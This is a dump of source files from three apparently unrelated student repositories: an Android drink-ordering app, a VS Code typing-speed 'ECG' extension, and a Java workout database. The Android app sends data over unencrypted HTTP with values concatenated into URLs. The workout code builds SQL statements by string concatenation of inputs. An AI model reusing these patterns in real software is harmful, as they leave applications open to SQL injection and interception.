listView = (ListView) findViewById(R.id.listView);
AdapterReceptionCommande mAdaptateur = new AdapterReceptionCommande(this,android.R.layout.simple_list_item_1,listCommande);
listView.setAdapter(mAdaptateur);
}
//AdapterReceptionCommande mAdaptateur = new AdapterReceptionCommande(this,android.R.layout.simple_list_item_1,listCommande);
//ListView listView = (ListView) findViewById(R.id.listView);
//listView = (ListView) findViewById(R.id.listView);
//listView.setOnItemClickListener(this);
/*for(int cpt = 0;cpt<listView.getAdapter().getCount();cpt++){
System.out.println("******item "+listView.getAdapter().getItemId(cpt)+" : "+listView.getAdapter().getItem(cpt));
System.out.println("****** item at position: "+listView.getItemAtPosition(cpt));
System.out.println("****** item get Item: "+listView.getSelectedItem());
}*/
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_reception_commande, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
if (id == R.id.refresh)
{
try {
getCommandeList();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
if (id == R.id.logout)
{
finish();
}
if(id == R.id.check){
if(!AdapterReceptionCommande.commandeId.isEmpty()){
for(int cnt = 0;cnt<AdapterReceptionCommande.commandeId.size();cnt++){
Toast.makeText(getApplicationContext(),AdapterReceptionCommande.commandeId.get(cnt).toString(), Toast.LENGTH_LONG).show();
//System.out.println("my item :" + listView.getItemAtPosition(AdapterReceptionCommande.commandeId.get(cnt).intValue()));
System.out.println(" my commande :" +AdapterReceptionCommande.commandeId.get(cnt).intValue());
idCommande = AdapterReceptionCommande.commandeId.get(cnt).toString();
AsyncTaskRequeteDeleteBDD asyncTaskRequeteDeleteBDD = new AsyncTaskRequeteDeleteBDD();
asyncTaskRequeteDeleteBDD.execute();
AdapterReceptionCommande.commandeId.remove(cnt);
try {
getCommandeList();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}//*/
}
}else{
Toast.makeText(getApplicationContext(),"No item check", Toast.LENGTH_LONG).show();
}
}
return super.onOptionsItemSelected(item);
}
public void removeElement(){
//Evenements evenement=(Evenements) adapter.getItem(arg2);
// Je l'enleve ici dans la liste
//evenements.remove(evenement);
// J'affiche ma nouvelle listes
//adapter=new EventAdapter(evenements);
//listView.setAdapter(adapter);
}
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
checkBoxEtatCommande = (CheckBox) view.findViewById(R.id.checkBoxEtat);
checkBoxEtatCommande.setOnClickListener(this);
checkBoxEtatCommande.performClick();
if(checkBoxEtatCommande.isChecked())
{
Toast.makeText(getApplicationContext(), "check", Toast.LENGTH_LONG).show();
}
}
@Override
public void onClick(View v) {
checkBoxEtatCommande = (CheckBox) v.findViewById(R.id.checkBoxEtat);
checkBoxEtatCommande.setOnClickListener(this);
checkBoxEtatCommande.performClick();
if(checkBoxEtatCommande.isChecked())
{
Toast.makeText(getApplicationContext(), "check", Toast.LENGTH_LONG).show();
}
}
public boolean onItemLongClick(AdapterView<?> listenom, View v, int position, long id) {
Object itemnom = listenom.getItemAtPosition(position);
Toast.makeText(this, "affiche :"+itemnom, position).show();
return false;
}
@Override
public boolean onTouch(View v, MotionEvent event) {
System.out.println("******item check !!");
return false;
}
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
System.out.println("******item check !!");
}
}<file_sep>/app/src/main/java/cesi/vitavinum/panier/Produit.java
package cesi.vitavinum.panier;
public class Produit {
int id;
public String title;
public String image;
public double price;
public int quantity;
public Produit(int _id, String _title, double _price, String _image, int _quantity) {
this.id = _id;
this.title = _title;
this.price = _price;
this.image = _image;
this.quantity = _quantity;
}
public Produit() {
}
public int getId() {
return id;
}
public double getPrice() {
return price;
}
public String getTitle() {
return title;
}
public String getimage() {
return image;
}
public int getQuantity() {
return quantity;
}
public void setId(int id) {
this.id = id;
}
public void setTitle(String title) {
this.title = title;
}
public void setPrice(double prix) {
this.price = prix;
}
public void setProductImage(String link_image) {
this.image = link_image;
}
public void setQuantity(int quantity) {
this.quantity = quantity;
}
}
<file_sep>/app/src/main/java/cesi/vitavinum/panier/PanierActivity.java
package cesi.vitavinum.panier;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.content.Intent;
import android.os.Bundle;
import android.os.StrictMode;
import android.app.Activity;
import android.provider.Settings;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import cesi.vitavinum.MainActivity;
import cesi.vitavinum.R;
import cesi.vitavinum.administration.ReceptionCommandeActivity;
import cesi.vitavinum.carteboisson.Activity.AccueilCarteBoissonActivity;
public class PanierActivity extends AppCompatActivity implements View.OnClickListener {
String id;
String[] lesIdsProduits;
String[] lesQuantites;
InputStream is=null;
String result=null;
String line=null;
ArrayList<Produit> productiList = new ArrayList<>();
ProductAdapter mProductAdapter;
double prixFinal = 0.00;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_panier_list);
final TextView prix_Final = (TextView) findViewById(R.id.prixFinal);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
StrictMode.enableDefaults(); //STRICT MODE ENABLED
final String android_id = Settings.Secure.getString(getApplicationContext().getContentResolver(),
Settings.Secure.ANDROID_ID);
JSONArray json_data_panier = select("http://vitavinumcesi.890m.com/select_panier.php?idPanier="
+ android_id);
try{
/*JSONArray jArray = new JSONArray(result);
for(int i=0; i<jArray.length();i++){
JSONObject json = jArray.getJSONObject(i);
Produit p = new Produit(i+1,json.getString("nom_produit"), json.getDouble("prix_TTC"),
"http://vitavinumcesi.890m.com/AppVitavinum/images/"+json.getString("image"));
productiList.add(p);
}*/
JSONObject json_panier = json_data_panier.getJSONObject(0);
lesIdsProduits = json_panier.getString("id_produit").split(";");
lesQuantites = json_panier.getString("quantite").split(";");
for(int i=0; i<lesIdsProduits.length;i++){
JSONArray json_data_produit = select("http://vitavinumcesi.890m.com/produit_select.php?produit="+lesIdsProduits[i]);
JSONObject json_produit = json_data_produit.getJSONObject(0);
Produit p = new Produit(i+1,json_produit.getString("nom_produit"), json_produit.getDouble("prix_TTC"),
"http://vitavinumcesi.890m.com/AppVitavinum/images/"+json_produit.getString("image"), Integer.parseInt(lesQuantites[i]));
productiList.add(p);
}
for(Produit p : productiList){
prixFinal += p.getQuantity() * p.getPrice();
}
prixFinal = Math.floor(prixFinal * 100) / 100;
prix_Final.setText("Prix Final : " + prixFinal + " €");
ListView listViewCatalog = (ListView) findViewById(R.id.listview);
mProductAdapter = new ProductAdapter(productiList,getLayoutInflater());
listViewCatalog.setAdapter(mProductAdapter);
} catch(Exception e) {
Log.e("Fail 3", e.toString());
}
Button valider = (Button) findViewById(R.id.valider);
valider.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
insert("http://vitavinumcesi.890m.com/commande_insert.php?prixTotal=" + prixFinal + "&idTable=" + android_id);
JSONArray json_data_commande = select("http://vitavinumcesi.890m.com/commande_select.php?idTable=" + android_id);
try {
JSONObject json_commande = json_data_commande.getJSONObject(0);
int index = 0;
for(Produit p : productiList){
double prix = p.getPrice() * p.getQuantity();
insert("http://vitavinumcesi.890m.com/sous_commande_insert.php?prix=" + prix + "&idProduit=" + lesIdsProduits[index]
+ "&quantity=" + p.getQuantity() + "&idCommande=" + json_commande.getString("id_commande"));
index++;
}
} catch (JSONException e) {
e.printStackTrace();
}
Toast.makeText(PanierActivity.this, "Commande Envoyée", Toast.LENGTH_SHORT).show();
}
});
}
private void insert(String url) {
JSONArray json_data = null;
//nameValuePairs.add(new BasicNameValuePair("id",id));
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url);
//httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
Log.e("pass 1", "connection success ");
} catch(Exception e) {
Log.e("Fail 1", e.toString());
Toast.makeText(getApplicationContext(), "Invalid IP Address",
Toast.LENGTH_LONG).show();
}
try {
BufferedReader reader = new BufferedReader
(new InputStreamReader(is, "iso-8859-1"), 8);
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result = sb.toString();
Log.e("pass 2", "connection success ");
} catch(Exception e) {
Log.e("Fail 2", e.toString());
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
if(id == R.id.home)
{
Intent intent = new Intent(this, MainActivity.class);
startActivity(intent);
}
if(id == R.id.administrateur)
{
Intent intent = new Intent(this, ReceptionCommandeActivity.class);
startActivity(intent);
}
if(id == android.R.id.home)
{
finish();
}
/*if (id == R.id.shopping) {
Intent intentPanier = new Intent(this, PanierActivity.class);
startActivity(intentPanier);
}*/
return super.onOptionsItemSelected(item);
}
public JSONArray select(String url)
{
JSONArray json_data = null;
//nameValuePairs.add(new BasicNameValuePair("id",id));
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url);
//httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
is = entity.getContent();
Log.e("pass 1", "connection success ");
} catch(Exception e) {
Log.e("Fail 1", e.toString());
Toast.makeText(getApplicationContext(), "Invalid IP Address",
Toast.LENGTH_LONG).show();
}
try {
BufferedReader reader = new BufferedReader
(new InputStreamReader(is, "iso-8859-1"), 8);
StringBuilder sb = new StringBuilder();
while ((line = reader.readLine()) != null) {
sb.append(line + "\n");
}
is.close();
result = sb.toString();
Log.e("pass 2", "connection success ");
} catch(Exception e) {
Log.e("Fail 2", e.toString());
}
try {
json_data = new JSONArray(result);
} catch(Exception e) {
Log.e("Fail 3", e.toString());
}
return json_data;
}
@Override
public void onClick(View view) {
}
}<file_sep>/app/src/main/java/cesi/vitavinum/administration/AsyncTaskRequeteSelectBDD.java
package cesi.vitavinum.administration;
import android.os.AsyncTask;
import android.util.JsonReader;
import android.util.Log;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
/**
* Created by benjaminbleriot on 18/05/2016.
*/
public class AsyncTaskRequeteSelectBDD extends AsyncTask{
private static final String ID_COMMANDE = "id_commande";
private static final String NUMERO_TABLE = "id_table";
private static final String NOM_PRODUIT = "nom_produit";
private static final String QUANTITE = "quantite";
private static final String PRIX = "prix";
int response;
InputStream is = null;
private int reference=0;
private String numeroTable;
//private String produit;
private ArrayList<String> produit = new ArrayList<>();
private ArrayList<Integer> quantite = new ArrayList<>();
private double prix;
private ArrayList<Commande> commandeArrayList = new ArrayList<>();
@Override
protected Object doInBackground(Object[] params) {
try {
//String test = "http://www.google.fr";
//url = new URL(test);
URL url = new URL("http://vitavinumcesi.890m.com/ReceptionCommandeScript/Select/index.php");
///URL url = new URL("http://vitavinumcesi.890m.com/ReceptionCommandeScript/Select/index.php?login="+admin);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
//conn.setReadTimeout(10000);
//conn.setConnectTimeout(15000);
conn.setRequestMethod("GET");
conn.setDoInput(true);
response = conn.getResponseCode();
is = conn.getInputStream();
if(response == 200)
{
BufferedReader reader = new BufferedReader(new InputStreamReader(is,"UTF-8"));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
String resultatRequete = "";
JSONArray jArray = new JSONArray(sb.toString());
for(int i=0;i<jArray.length();i++){
JSONObject jsonData = jArray.getJSONObject(i);
// Résultats de la requête
//resultatRequete = "\n\t" + jArray.getJSONObject(i);
//resultatRequete = jsonData.getString("id_commande");
if(reference == 0)
{
reference = jsonData.getInt(ID_COMMANDE);
numeroTable = jsonData.getString(NUMERO_TABLE);
produit.add(jsonData.getString(NOM_PRODUIT));
quantite.add(jsonData.getInt(QUANTITE));
prix = jsonData.getDouble(PRIX);
}
else if(reference == jsonData.getInt(ID_COMMANDE))
{
produit.add(jsonData.getString(NOM_PRODUIT));
quantite.add(jsonData.getInt(QUANTITE));
}
else if(reference != jsonData.getInt(ID_COMMANDE))
{
commandeArrayList.add(new Commande(reference,numeroTable,produit,quantite,prix));
produit = new ArrayList<>();
quantite = new ArrayList<>();
reference = jsonData.getInt(ID_COMMANDE);
numeroTable = jsonData.getString(NUMERO_TABLE);
produit.add(jsonData.getString(NOM_PRODUIT));
quantite.add(jsonData.getInt(QUANTITE));
prix = jsonData.getDouble(PRIX);
}
}
commandeArrayList.add(new Commande(reference,numeroTable,produit,quantite,prix));
}
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
return commandeArrayList;
}
public ArrayList<Commande> getCommande()
{
return this.commandeArrayList;
}
}
| 43bb9354c2950247fcf1f691e44e791c89871424 | [
"Java"
] | 8 | Java | vitavinum/Vitavinum | f1610e9fb1e32ac98021324c358723b959a1fb6e | b1c0592957e817d1c9f4df6544ce2b2e1cc55ea6 |
refs/heads/master | <repo_name>LordDeimos/VSCode-ECG<file_sep>/src/extension.ts
// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';
import * as EventEmitter from 'events';
import * as gui from "./gui/index";
let emitter = new EventEmitter();
let delta = 0;
let count = 0;
let samples:Array<number> = [];
let hasBeenAboveThreshold = false;
const DISPLAY_NOTIFICATION_THRESHOLD = .4;
const interval:number = 500;
const maxsamples = 20;
let runner:number;
let theRealAverage = 0;
const uselessWebsites = [
["http://heeeeeeeey.com/"],
["http://tinytuba.com/"],
["http://corndog.io/"],
["http://thatsthefinger.com/"],
["http://cant-not-tweet-this.com/"],
["http://weirdorconfusing.com/"],
["https://www.eyes-only.net/"],
["http://eelslap.com/"],
["http://www.staggeringbeauty.com/"],
["http://burymewithmymoney.com/"],
["http://endless.horse/"],
["http://www.trypap.com/"],
["http://www.republiquedesmangues.fr/"],
["http://www.movenowthinklater.com/"],
["http://www.partridgegetslucky.com/"],
["http://www.rrrgggbbb.com/"],
["http://beesbeesbees.com/"],
["http://www.koalastothemax.com/"],
["http://www.everydayim.com/"],
["http://randomcolour.com/"],
["http://cat-bounce.com/"],
["http://chrismckenzie.com/"],
["http://hasthelargehadroncolliderdestroyedtheworldyet.com/"],
["http://ninjaflex.com/"],
["http://ihasabucket.com/"],
["http://corndogoncorndog.com/"],
["http://www.hackertyper.com/"],
["https://pointerpointer.com"],
["http://imaninja.com/"],
["http://www.ismycomputeron.com/"],
["http://www.nullingthevoid.com/"],
["http://www.muchbetterthanthis.com/"],
["http://www.yesnoif.com/"],
["http://iamawesome.com/"],
["http://www.pleaselike.com/"],
["http://crouton.net/"],
["http://corgiorgy.com/"],
["http://www.wutdafuk.com/"],
["http://unicodesnowmanforyou.com/"],
["http://www.crossdivisions.com/"],
["http://tencents.info/"],
["http://www.patience-is-a-virtue.org/"],
["http://whitetrash.nl/"],
["http://www.theendofreason.com/"],
["http://pixelsfighting.com/"],
["http://isitwhite.com/"],
["http://onemillionlols.com/"],
["http://www.omfgdogs.com/"],
["http://oct82.com/"],
["http://chihuahuaspin.com/"],
["http://www.blankwindows.com/"],
["http://dogs.are.the.most.moe/"],
["http://tunnelsnakes.com/"],
["http://www.trashloop.com/"],
["http://www.ascii-middle-finger.com/"],
["http://spaceis.cool/"],
["http://www.donothingfor2minutes.com/"],
["http://buildshruggie.com/"],
["http://buzzybuzz.biz/"],
["http://yeahlemons.com/"],
["http://burnie.com/"],
["http://wowenwilsonquiz.com"],
["https://thepigeon.org/"],
["http://notdayoftheweek.com/"],
["http://www.amialright.com/"],
["http://nooooooooooooooo.com/"]
];
5
emitter.on('ecg-change',(charpsec)=>{
gui.webView.webview.postMessage({
type: "update",
data: charpsec
});
gui.webView.webview.postMessage({
type:"display_mode",
data: vscode.workspace.getConfiguration("code-ecg").get("useSpeedo")
});
});
function showYourBad() {
vscode.window.showWarningMessage("YOUR BAD QUITE YOU'RE JOB",
"I will",
"Go Away",
"Got something better to do?",
"I need help"
).then((result)=>{
if(result==='I will'){
if(vscode.window.activeTextEditor){
vscode.commands.executeCommand("workbench.action.closeActiveEditor");
gui.webView.dispose();
deactivate();
}
}
else if(result==="I need help"){
vscode.commands.executeCommand('vscode.open', vscode.Uri.parse('https://stackoverflow.best/questions'));
} else if (result === "Got something better to do?") {
var website = uselessWebsites[Math.floor(Math.random() * uselessWebsites.length)][0];
vscode.commands.executeCommand("vscode.open", vscode.Uri.parse(website));
}
if (result !== "Go Away" && result !== "I will") {
setTimeout(() => {
showYourBad();
}, 1000);
}
});
}
let getMetrics = (e:object)=>{
let editor = vscode.window.activeTextEditor;
if(!editor){
emitter.emit('ecg-change',0.1);
return;
}
let currentDoc = editor.document;
let diags = vscode.languages.getDiagnostics();
let temp = 0;
let errorChars = 0;
for(let diag of diags){
for(let message of diag){
if(message instanceof Array){
for(let problem of message){
if(vscode.DiagnosticSeverity[problem.severity]==="Error"){
temp--;
errorChars += problem.range.end.character-problem.range.start.character;
}
}
}
}
}
temp *= (errorChars/currentDoc.getText().length);
if(!temp) temp= 0 ;
if(samples.length==maxsamples){
samples.shift();
}
samples.push(delta);
// let average = samples.reduce((prev,curr)=>{
// return prev+curr;
// })/samples.length;
theRealAverage = (theRealAverage * maxsamples + delta) / (maxsamples + 1);
if (theRealAverage > DISPLAY_NOTIFICATION_THRESHOLD) hasBeenAboveThreshold = true;
if (theRealAverage < DISPLAY_NOTIFICATION_THRESHOLD && hasBeenAboveThreshold) {
showYourBad();
hasBeenAboveThreshold = false;
}
let min = Math.max(theRealAverage+temp,0.01);
emitter.emit('ecg-change',(min)/(interval/1000));
delta = 0;
}
export function activate(context: vscode.ExtensionContext) {
console.log('Welcome to Code-ECG, get typing...');
let openmonitor = vscode.commands.registerCommand('code-ecg.openmonitor', () => {
gui.setup(context);
gui.webView.webview.postMessage({
type: "interval",
data: interval
});
gui.webView.webview.postMessage({
type:"display_mode",
data: vscode.workspace.getConfiguration("code-ecg").get("useSpeedo")
});
let previousContentChanges: string = "";
vscode.workspace.onDidChangeTextDocument((args)=>{
const newChanges = (args.contentChanges[0] || {text:""}).text;
if (newChanges === previousContentChanges) return;
previousContentChanges = newChanges;
++delta;
});
runner = setInterval(getMetrics,interval);
});
context.subscriptions.push(openmonitor);
}
// this method is called when your extension is deactivated
export function deactivate() {
console.log("Window Closed");
clearInterval(runner);
}
<file_sep>/README.md
# VSCode ECG
This extension is designed to give productivity feedback to the programmer based on their character input per minute/second and their error rate.
This would display this in the form of a graph similar to an ECG machine does.
We are building this for the CodeNetwork Winter Hackathon 2019<file_sep>/src/gui/index.ts
import { window, StatusBarAlignment, ViewColumn, Uri, ExtensionContext, WebviewPanel } from "vscode";
const statusBarItem = window.createStatusBarItem(StatusBarAlignment.Left);
export let webView: WebviewPanel;
export function setup(context: ExtensionContext) {
webView = window.createWebviewPanel("ecgGraph", "ECG Graph", ViewColumn.Beside, {
enableScripts: true
});
statusBarItem.show();
webView.reveal();
webView.webview.html = html();
}
export function update(val: number) {
webView.webview.postMessage({
type: "update",
data: val
});
}
/**
* Had to do this because TypeScript won't import it for some reason
*/
function html():string{
return `<!doctype html>
<html>
<!-- stupid vscode forcing me to make this a propert html document -->
<head>
<title>yea nah</title>
</head>
<body>
<div style="background:#1e1e1e;position:fixed;top:0;left:0;right:0;bottom:0;padding:1em">
<h1 style="margin:0;font-family:'Comic Sans MS';"><span id="vsecg-text">VSECG</span> is the best extension eva</h1>
<canvas id="graph" width=300 height=150></canvas>
<canvas id="speedo" style="background:transparent no-repeat center center;background-size:cover;background-image:url(https://alduino.dev/speedo.png)" width=150 height=150></canvas>
</div>
<script>
const $graph = document.getElementById("graph"),
$speedo = document.getElementById("speedo");
const graphCtx = $graph.getContext("2d"),
speedoCtx = $speedo.getContext("2d");
let interval = 500;
let themeValues = {
light: "#9cdcfe",
dark: "#5689d688",
background: "#1e1e1e",
foreground: "#d4d4d433",
red: "#ea4e2755"
};
window.onmessage = function(message) {
const {type, data} = message.data;
switch (type) {
case "update":
update(data);
break;
case "interval":
interval=data;
break;
case "theme":
themeValues = data;
break;
case "display_mode":
changeDisplayMode(data);
break;
}
}
function changeDisplayMode(mode) {
if (mode) {
$graph.style.display = "none";
$speedo.style.display = "";
} else {
$graph.style.display = "";
$speedo.style.display = "none";
}
}
const colours = [
"#333",
"#777",
"#aaa",
"#777",
"#333"
];
let textIndex = 0;
setInterval(() => {
const $text = document.getElementById("vsecg-text");
const content = $text.textContent;
$text.textContent = "";
for (let i = 0; i < content.length; i++) {
const letter = content[i];
const $el = document.createElement("span");
$el.textContent = letter;
$el.style.color = colours[(textIndex - i) % colours.length];
$text.appendChild($el);
}
textIndex++;
}, 100);
const values = [];
let currentIndex = 0;
const spacing = 7;
let scale = 1;
let updateTime = 0;
function update(value) {
console.log("value: " + value);
values[currentIndex] = value;
currentIndex++;
updateTime = performance.now();
if (currentIndex > $graph.width / spacing) currentIndex = 0;
}
function frame() {
requestAnimationFrame(frame);
const secondLastRealValue = values[currentIndex - 2];
const lastRealValue = {index: currentIndex - 1, value: values[currentIndex - 1]};
const timeDiff = (performance.now() - updateTime) / interval;
const prediction = lastRealValue.value - (secondLastRealValue - lastRealValue.value) * timeDiff;
scale = Math.max(...values, Number.isNaN(prediction) ? 0 : prediction) / $graph.height;
if (scale < .01) scale = .01;
graphCtx.clearRect(0, 0, $graph.width, $graph.height);
speedoCtx.clearRect(0, 0, $speedo.width, $speedo.height);
drawGraph(prediction);
drawSpeedo(prediction || values[values.length - 1]);
}
function drawGraph(prediction) {
graphCtx.lineWidth = 1;
graphCtx.strokeStyle = themeValues.foreground;
graphCtx.lineCap = "round";
const points = values.map((line, i) => ({
x: (i - 1) * spacing,
y: $graph.height - line / scale
}));
const lastRealValue = {index: currentIndex - 1, value: values[currentIndex - 1]};
const timeDiff = (performance.now() - updateTime) / interval;
for (let i = 0; i < values.length - 1; i++) {
if (values[i] > 1.4) continue;
graphCtx.fillStyle = themeValues.red;
graphCtx.fillRect(i * spacing, 0, spacing, $graph.height);
}
if (Math.floor(scale * 100) !== 0) {
for (let i = 0; i < $graph.height; i += Math.floor(scale * 100) / scale / 10) {
graphCtx.beginPath();
graphCtx.moveTo(0, $graph.height - i);
graphCtx.lineTo($graph.width - spacing * 2, $graph.height - i);
graphCtx.stroke();
}
}
graphCtx.lineWidth = 3;
graphCtx.strokeStyle = themeValues.light;
points[currentIndex] = {
x: (lastRealValue.index + timeDiff) * spacing,
y: $graph.height - prediction / scale
};
graphCtx.fillStyle = themeValues.dark;
if (currentIndex > 2) {
graphCtx.beginPath();
graphCtx.moveTo(-10, $graph.height);
for (let i = 0; i < currentIndex - 1; i++) {
const cx = (points[i].x + points[i + 1].x) / 2;
const cy = (points[i].y + points[i + 1].y) / 2;
graphCtx.quadraticCurveTo(points[i].x, points[i].y, cx, cy);
}
graphCtx.quadraticCurveTo(points[currentIndex - 1].x, points[currentIndex - 1].y, points[currentIndex].x, points[currentIndex].y);
graphCtx.stroke();
graphCtx.lineTo(points[currentIndex].x, $graph.height);
graphCtx.fill();
}
if (points.length - currentIndex > 2) {
graphCtx.beginPath();
graphCtx.moveTo(points[currentIndex + 1].x, $graph.height);
for (let i = currentIndex + 1; i < points.length - 2; i++) {
const cx = (points[i].x + points[i + 1].x) / 2;
const cy = (points[i].y + points[i + 1].y) / 2;
graphCtx.quadraticCurveTo(
points[i].x,
points[i].y,
cx,
cy
);
}
graphCtx.quadraticCurveTo(
points[points.length - 2].x,
points[points.length - 2].y,
points[points.length - 1].x,
points[points.length - 1].y
);
graphCtx.stroke();
graphCtx.lineTo(points[points.length - 1].x, $graph.height);
graphCtx.fill();
}
}
function sigmoid(x) {
return 1 / (1 + Math.exp(-x));
}
function drawSpeedo(prediction) {
const length = Math.min($speedo.width / 2, $speedo.height);
const max = 180 * Math.PI / 180;
const currentValue = prediction;
speedoCtx.lineWidth = 7;
speedoCtx.lineCap = "round";
speedoCtx.strokeStyle = "white";
const angle = (2 + sigmoid(currentValue / 10)) * max;
speedoCtx.beginPath();
speedoCtx.moveTo($speedo.width / 2, $speedo.height / 2);
speedoCtx.lineTo($speedo.width / 2 - Math.cos(angle) * length * .7, $speedo.height / 2 - Math.sin(angle) * length * .7);
speedoCtx.stroke();
}
frame();
function randomBm() {
let u = 0, v = 0;
while (u === 0) u = Math.random();
while (v === 0) v = Math.random();
return Math.sqrt(-2 * Math.log(u)) * Math.cos(2 * Math.PI * v);
}
/*let val = 0;
setInterval(() => {
val = (7 * val + Math.max(0, randomBm() * 30)) / 8;
window.postMessage({
type: "update",
data: val
});
}, interval);*/
</script>
</body>
</html>`
} | d2d59dec6d3d9b405a9122f4c8ada56ee2c51a61 | [
"Markdown",
"TypeScript"
] | 3 | TypeScript | LordDeimos/VSCode-ECG | 5caaca2c689d839161ad61106282775682482754 | 05e6d0f12f8d92b431d42e5341dbb5e08ae8cfcc |
refs/heads/master | <file_sep>const number = 10;
| df49f32922d7cfe72681c083161c1323d64f1873 | [
"JavaScript"
] | 1 | JavaScript | Chubbard022/CodeKataProblems | c4f78bc428bd991fb3f7ddc704172d581b6b301b | 7937a9f4006f75501694463f003fcb66ca659db7 |
refs/heads/master | <repo_name>johnnymauk/Workout<file_sep>/src/Functions/Descriptions.java
package Functions;
import java.sql.Connection;
import java.sql.Statement;
/**
* Created by Johnny on 5/10/2017.
*/
public class Descriptions extends Database {
private static String table ="descriptions";
private static String col_ID = "dID";
private static String col_Description = "Description";
public Descriptions(){}
public static boolean addDescription(Connection con, String description){
boolean descriptionAdded = false;
try{
if(!checkDescriptionExists(con,description)){
Statement stmt = con.createStatement();
stmt.executeUpdate("Insert into "+table+" ("+col_Description+") Values ('"+description+"');");
con.commit();
descriptionAdded = checkDescriptionExists(con,description);
}
}catch(Exception ex){
ex.printStackTrace();
}
return descriptionAdded;
}
public static boolean checkDescriptionExists(Connection con, String description){
return checkEntityExists(con, table, col_Description,description);
}
public static String getDescriptionOfIndex(Connection con, String index){
return getInstanceSpecific(con,table,col_ID,index,col_Description);
}
public static String getIndexOfDescription(Connection con, String description){
return getInstanceSpecific(con,table,col_ID,description,col_ID);
}
}
<file_sep>/tests/Functions/MusclesTests/AddMuscleTest.java
package Functions.MusclesTests;
import Functions.*;
import org.junit.*;
import java.sql.Connection;
import static org.junit.Assert.*;
/**
* Created by johnn on 5/14/2017.
*/
public class AddMuscleTest {
private Connection con;
private String testMuscle;
private String testMuscleGroupIndex;
@Before
public void setUp() throws Exception {
con = Database.open();
testMuscle = "TESTMUSCLE";
String testMuscleGroup = "TESTMUSCLEGROUP";
MuscleGroups.addMuscleGroup(con, testMuscleGroup);
testMuscleGroupIndex = MuscleGroups.getGroupIndex(con, testMuscleGroup);
}
@After
public void tearDown() throws Exception {
String index = Muscles.getIndexFromName(con,testMuscle);
Muscles.removeMuscle(con,index);
MuscleGroups.removeMuscleGroup(con,testMuscleGroupIndex);
Database.close(con);
}
@Test
public void addMuscle() throws Exception {
assertTrue(Muscles.addMuscle(con,testMuscle,testMuscleGroupIndex));
}
}
<file_sep>/tests/Functions/MuscleGroupTests/AddMuscleGroupTest.java
package Functions.MuscleGroupTests;
import Functions.Database;
import Functions.MuscleGroups;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import java.sql.Connection;
import static org.junit.Assert.*;
/**
* Created by Johnny on 5/12/2017.
*/
public class AddMuscleGroupTest {
private String testGroup;
private Connection con;
@Before
public void setUp() throws Exception {
con = Database.open();
testGroup = "TESTGROUP";
}
@After
public void tearDown() throws Exception {
String index = MuscleGroups.getGroupIndex(con,testGroup);
MuscleGroups.removeMuscleGroup(con,index);
Database.close(con);
}
@Test
public void addGroup() throws Exception {
assertTrue(MuscleGroups.addMuscleGroup(con,testGroup));
}
@Test
public void addDuplicateGroup() throws Exception {
MuscleGroups.addMuscleGroup(con,testGroup);
assertFalse(MuscleGroups.addMuscleGroup(con,testGroup));
}
}<file_sep>/src/Functions/MuscleGroups.java
package Functions;
import java.sql.Connection;
import java.sql.Statement;
import java.util.regex.Pattern;
/**
* Created by Johnny on 5/10/2017.
*/
public class MuscleGroups extends Database{
private static String table = "muscle_groups";
private static String col_ID = "mgID";
